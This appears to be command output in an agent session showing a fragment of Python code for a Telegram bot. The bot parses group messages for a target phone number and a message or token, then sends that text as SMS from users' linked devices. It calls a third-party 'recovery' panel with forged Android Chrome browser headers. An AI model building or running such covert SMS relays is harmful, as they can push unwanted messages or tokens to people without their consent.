Command exited with code 0. Command output: keyboard=reply_kb(BACK_KB), ) return False async def _on_main_message(self, client: Client, message) -> None: try: if not message or not message.text or not message.chat: return text = message.text.strip() cid = self._canonical_chat_id(message.chat.id, message.chat.type) typ = message.chat.type.value if hasattr(message.chat.type, "value") else str(message.chat.type).lower() if "private" in typ: return if not ( re.search(r"(?:To|Recipient|Receipt|Target(?:\s*đŸŽ¯)?)\s*(?:\([^)]+\))?\s*:\s*\+?\d", text, re.I) and re.search(r"(?:Message(?:\s*📩)?|Token|Body)\s*(?:\([^)]+\))?\s*:", text, re.I) ): return num, body = self._parse_message_payload(text) if not num or not body: return for user_id, ws in list(self.workspaces.items()): if not ws.active or not ws.device_id: continue if not ws.group_id or cid != self._canonical_chat_id(ws.group_id): continue log(f"Incoming matched for user {user_id}: {num} -> {body[:40]}...") asyncio.create_task(self._dispatch_sms(user_id, num, body)) except Exception as exc: log(f"[main handler] {exc}") def _parse_message_payload(self, text: str) -> tuple[Optional[str], Optional[str]]: text = re.split(r"One.tap copy", text, flags=re.I)[0] to_m = re.search( r"(?:To|Recipient|Receipt|Target(?:\s*đŸŽ¯)?)\s*(?:\([^)]+\))?\s*:\s*([+\d\s-]{8,22})", text, re.I, ) bod_m = re.search( r"(?:Message(?:\s*📩)?|Token|Body)\s*(?:\([^)]+\))?\s*:\s*([\s\S]+?)(?:\n\s*(?:đŸ“Ļ|👤|👨|━|â„šī¸|Target|Developer|To|Recipient|Receipt|Module|Body)|\n\s*\n|$)", text, re.I, ) if not (to_m and bod_m): return None, None num = re.sub(r"[^\d+]", "", to_m.group(1).strip()) if num.startswith("+"): num = num[1:] if num.startswith("91") and len(num) == 12: num = num[2:] return num, bod_m.group(1).strip() def _fcm_panel_headers(self, referer_suffix: str = "") -> dict[str, str]: base = "https://recovery2-32s.pages.dev" headers = { "Content-Type": "application/json", "Origin": base, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.9", "User-Agent": "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36", "Sec-Ch-Ua": '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"', "Sec-Ch-Ua-Mobile": "?1", "Sec-Ch-Ua-Platform": '"Android"', "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", } if referer_suffix: